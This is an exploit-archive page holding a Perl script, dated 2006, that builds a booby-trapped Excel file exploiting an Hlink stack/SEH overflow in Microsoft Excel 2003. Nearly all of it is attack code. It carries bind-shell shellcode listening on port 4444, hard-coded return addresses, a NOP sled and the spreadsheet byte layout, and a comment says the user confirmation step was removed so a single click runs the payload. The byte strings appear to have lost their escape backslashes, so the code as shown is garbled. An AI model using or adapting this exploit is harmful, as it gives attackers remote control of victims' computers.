[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Microsoft Excel 2003 Hlink Local Buffer Overflow Exploit (italian)
# Published : 2006-07-06
# Author : oveRet
# Previous Title : Microsoft Excel 2000/2003 Hlink Local Buffer Overflow Exploit (french)
# Next Title : Microsoft Excel Universal Hlink Local Buffer Overflow Exploit
#!perl
#
# "Microsoft Office Excel 2003" Hlink Stack/SEH Overflow Exploit
#
# Author: Giuseppe Gottardi (aka oveRet) overet@securitydate.it
#
# Note:
# This exploit was originaly written by Manuel Santamarina Suarez, but it
# was working by clicking on the link and then on the "Yes" button.
# In this version of exploit the author adds the RET address for Microsoft
# Office Excel 2003 (Italian; 11.5612.5606) and removed user confirmation
# by "Yes" button.
#
# The exploit now simply works by clicking on the link.
#
# (read/write/EXECUTABLE .data section)
#$sc_addr = reverse( "x30x85xD9x40" ); # MS Office Excel 2003 (Italian; 11.5612.5606)
$sc_addr = reverse( "x30x87xACx80" ); # MS Office Excel 2003 (German/italian; 11.8012.6568; SP2)
#
# filename
#
$filename = 'exploit_without_confirm.xls';
# win32_bind - Shellcode , port = 4444 , thanks to http://metasploit.com
#
$sc = "xd9xeexd9x74x24xf4x5bx31xc9xb1x5ex81x73x17x4fx85".
"x2fx98x83xebxfcxe2xf4xb3x6dx79x98x4fx85x7cxcdx19".
"xd2xa4xf4x6bx9dxa4xddx73x0ex7bx9dx37x84xc5x13x05".
"x9dxa4xc2x6fx84xc4x7bx7dxccxa4xacxc4x84xc1xa9xb0".
"x79x1ex58xe3xbdxcfxecx48x44xe0x95x4ex42xc4x6ax74".
"xf9x0bx8cx3ax64xa4xc2x6bx84xc4xfexc4x89x64x13x15".
"x99x2ex73xc4x81xa4x99xa7x6ex2dxa9x8fxdax71xc5x14".
"x47x27x98x11xefx1fxc1x2bx0ex36x13x14x89xa4xc3x53".
"x0ex34x13x14x8dx7cxf0xc1xcbx21x74xb0x53xa6x5fxce".
"x69x2fx99x4fx85x78xcex1cx0cxcax70x68x85x2fx98xdf".
"x84x2fx98xf9x9cx37x7fxebx9cx5fx71xaaxccxa9xd1xeb".
"x9fx5fx5fxebx28x01x71x96x8cxdax35x84x68xd3xa3x18".
"xd6x1dxc7x7cxb7x2fxc3xc2xcex0fxc9xb0x52xa6x47xc6".
"x46xa2xedx5bxefx28xc1x1exd6xd0xacxc0x7ax7ax9cx16".
"x0cx2bx16xadx77x04xbfx1bx7ax18x67x1axb5x1ex58x1f".
"xd5x7fxc8x0fxd5x6fxc8xb0xd0x03x11x88xb4xf4xcbx1c".
"xedx2dx98x5exd9xa6x78x25x95x7fxcfxb0xd0x0bxcbx18".
"x7ax7axb0x1cxd1x78x67x1axa5xa6x5fx27xc6x62xdcx4f".
"x0cxccx1fxb5xb4xefx15x33xa1x83xf2x5axdcxdcx33xc8".
"x7fxacx74x1bx43x6bxbcx5fxc1x49x5fx0bxa1x13x99x4e".
"x0cx53xbcx07x0cx53xbcx03x0cx53xbcx1fx08x6bxbcx5f".
"xd1x7fxc9x1exd4x6exc9x06xd4x7excbx1ex7ax5ax98x27".
"xf7xd1x2bx59x7ax7ax9cxb0x55xa6x7exb0xf0x2fxf0xe2".
"x5cx2ax56xb0xd0x2bx11x8cxefxd0x67x79x7axfcx67x3a".
"x85x47x68xc5x81x70x67x1ax81x1ex43x1cx7axffx98";
$sc_len = 5608;
$header = "xd0xcfx11xe0xa1xb1x1axe1x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x3ex00x03x00xfexffx09x00".
"x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00".
"x2ex00x00x00x00x00x00x00x00x10x00x00xfexffxffxff".
"x00x00x00x00xfexffxffxffx00x00x00x00x2fx00x00x00".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"x09x08x10x00x00x06x05x00xbbx0dxccx07x41x00x00x00".
"x06x00x00x00x42x00x02x00xe4x04x8dx00x02x00x00x00".
"x3dx00x12x00x00x00x00x00x5cx35xedx30x38x00x00x00".
"x00x00x01x00x58x02x22x00x02x00x00x00x31x00x15x00".
"xc8x00x00x00xffx7fx90x01x00x00x00x00x00x00x05x00".
"x41x72x69x61x6cx31x00x15x00xc8x00x00x00xffx7fx90".
"x01x00x00x00x00x00x00x05x00x41x72x69x61x6cx31x00".
"x15x00xc8x00x00x00xffx7fx90x01x00x00x00x00x00x00".
"x05x00x41x72x69x61x6cx31x00x15x00xc8x00x00x00xff".
"x7fx90x01x00x00x00x00x00x00x05x00x41x72x69x61x6c".
"x31x00x16x00xa0x00x00x00xffx7fx90x01x00x00x00x00".
"x00x00x06x00x54x61x68x6fx6dx61x31x00x15x00xc8x00".
"x00x00x0cx00x90x01x00x00x01x00x00x00x05x00x41x72".
"x69x61x6cxe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"x00x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00xf5xffx20x00x00xf4x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x00x00xf5xffx20x00x00".
"xf4x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x00x00x01x00x20x00x00x00x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x2bx00xf5xffx20x00x00".
"xf8x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x29x00xf5xffx20x00x00xf8x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x2cx00xf5xffx20x00x00".
"xf8x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x00".
"x00x2ax00xf5xffx20x00x00xf8x00x00x00x00x00x00x00".
"x00xc0x20xe0x00x14x00x00x00x09x00xf5xffx20x00x00".
"xf8x00x00x00x00x00x00x00x00xc0x20xe0x00x14x00x06".
"x00x00x00x01x00x20x00x00x08x00x00x00x00x00x00x00".
"x00xc0x20x93x02x04x00x10x80x03xffx93x02x04x00x11".
"x80x06xffx93x02x04x00x12x80x04xffx93x02x04x00x13".
"x80x07xffx93x02x04x00x00x80x00xffx93x02x04x00x14".
"x80x05xffx92x00xe2x00x38x00x00x00x00x00xffxffxff".
"x00xffx00x00x00x00xffx00x00x00x00xffx00xffxffx00".
"x00xffx00xffx00x00xffxffx00x80x00x00x00x00x80x00".
"x00x00x00x80x00x80x80x00x00x80x00x80x00x00x80x80".
"x00xc0xc0xc0x00x80x80x80x00x99x99xffx00x99x33x66".
"x00xffxffxccx00xccxffxffx00x66x00x66x00xffx80x80".
"x00x00x66xccx00xccxccxffx00x00x00x80x00xffx00xff".
"x00xffxffx00x00x00xffxffx00x80x00x80x00x80x00x00".
"x00x00x80x80x00x00x00xffx00x00xccxffx00xccxffxff".
"x00xccxffxccx00xffxffx99x00x99xccxffx00xffx99xcc".
"x00xccx99xffx00xffxccx99x00x33x66xffx00x33xccxcc".
"x00x99xccx00x00xffxccx00x00xffx99x00x00xffx66x00".
"x00x66x66x99x00x96x96x96x00x00x33x66x00x33x99x66".
"x00x00x33x00x00x33x33x00x00x99x33x00x00x99x33x66".
"x00x33x33x99x00x33x33x33x00x85x00x0ex00x22x04x00".
"x00x00x00x06x00x53x68x65x65x74x31xfcx00x0fx00x01".
"x00x00x00x01x00x00x00x04x00x00x4cx49x4ex4bx0ax00".
"x00x00x09x08x10x00x00x06x10x00xbbx0dxccx07x41x00".
"x00x00x06x00x00x00x2ax00x02x00x00x00x2bx00x02x00".
"x01x00x82x00x02x00x00x00x80x00x08x00x00x00x00x00".
"x00x00x00x00x25x02x04x00x00x00xffx00x81x00x02x00".
"xc1x04x14x00x03x00x00x00x00x15x00x03x00x00x00x00".
"x83x00x02x00x00x00x84x00x02x00x00x00x26x00x08x00".
"x00x00x00x00x00x00xe8x3fx27x00x08x00x00x00x00x00".
"x00x00xe8x3fx28x00x08x00x00x00x00x00x00x00xf0x3f".
"x29x00x08x00x00x00x00x00x00x00xf0x3fxa1x00x22x00".
"x00x00x64x00x01x00x00x00x00x00x02x00x58x02x58x02".
"x00x00x00x00x00x00xe0x3fx00x00x00x00x00x00xe0x3f".
"x01x00x55x00x02x00x08x00x00x02x0ex00x00x00x00x00".
"x01x00x00x00x00x00x01x00x00x00xfdx00x0ax00x00x00".
"x00x00x15x00x00x00x00x00xb8x01x1cx20x00x00x00x00".
"x00x00x00x00xd0xc9xeax79xf9xbaxcex11x8cx82x00xaa".
"x00x4bxa9x0bx02x00x00x00x03x00x00x00xe0xc9xeax79".
"xf9xbaxcex11x8cx82x00xaax00x4bxa9x0bxf2x55x00x00".
"x68x00x74x00x74x00x70x00x3ax00x2fx00x2fx00x41x00";
$body1 = "x3cx00x20x20";
$body2 = "x3cx00xeax15";
$footer = "x00x00x3ex02x12x00xb6x06x00x00x00x00x40x00x00x00".
"x00x00x00x00x00x00x00x00x1dx00x0fx00x03x00x00x00".
"x00x00x00x01x00x00x00x00x00x00x00x0ax00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x52x00x6fx00x6fx00x74x00".
"x20x00x45x00x6ex00x74x00x72x00x79x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x16x00x05x00xffxffxffxff".
"xffxffxffxffx01x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00xfexffxffxff".
"x00x00x00x00x00x00x00x00x57x00x6fx00x72x00x6bx00".
"x62x00x6fx00x6fx00x6bx00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x12x00x02x00xffxffxffxff".
"xffxffxffxffxffxffxffxffx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x57x5bx00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00xffxffxffxff".
"xffxffxffxffxffxffxffxffx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00xffxffxffxff".
"xffxffxffxffxffxffxffxffx00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
"x00x00x00x00x00x00x00x00x01x00x00x00x02x00x00x00".
"x03x00x00x00x04x00x00x00x05x00x00x00x06x00x00x00".
"x07x00x00x00x08x00x00x00x09x00x00x00x0ax00x00x00".
"x0bx00x00x00x0cx00x00x00x0dx00x00x00x0ex00x00x00".
"x0fx00x00x00x10x00x00x00x11x00x00x00x12x00x00x00".
"x13x00x00x00x14x00x00x00x15x00x00x00x16x00x00x00".
"x17x00x00x00x18x00x00x00x19x00x00x00x1ax00x00x00".
"x1bx00x00x00x1cx00x00x00x1dx00x00x00x1ex00x00x00".
"x1fx00x00x00x20x00x00x00x21x00x00x00x22x00x00x00".
"x23x00x00x00x24x00x00x00x25x00x00x00x26x00x00x00".
"x27x00x00x00x28x00x00x00x29x00x00x00x2ax00x00x00".
"x2bx00x00x00x2cx00x00x00x2dx00x00x00xfexffxffxff".
"xfexffxffxffxfdxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxffxffxffxffxffxffxffxffxff".
"xffxffxffxffxffxffxffxff";
print '"Microsoft Office Excel 2003" Hlink Stack/SEH Overflow Exploit'."nn";
if( length( $sc ) > $sc_len )
{
print "[-] Error: Shellcode size exceeds $sc_len bytes!";
exit( 1 );
}
print "[+] Creating file...n";
open ( FILE, ">$filename" ) || die "[-] $!";
binmode ( FILE );
print "[+] Writing exploit into the file...n";
$fill_cnt = $sc_len - length( $sc );
for ( $i = 1; $i <= $fill_cnt; $i++ )
{
$sc = "x90$sc";
}
print FILE $header . 'Fill' x 955 . $sc_addr . 'Fill' x 1082 . $body1 . 'Fill' x 2056 . "$body2$sc$footer";
close ( FILE );
print "[+] Exploit file has been successfully built.n";
# www.Syue.com [2006-07-06]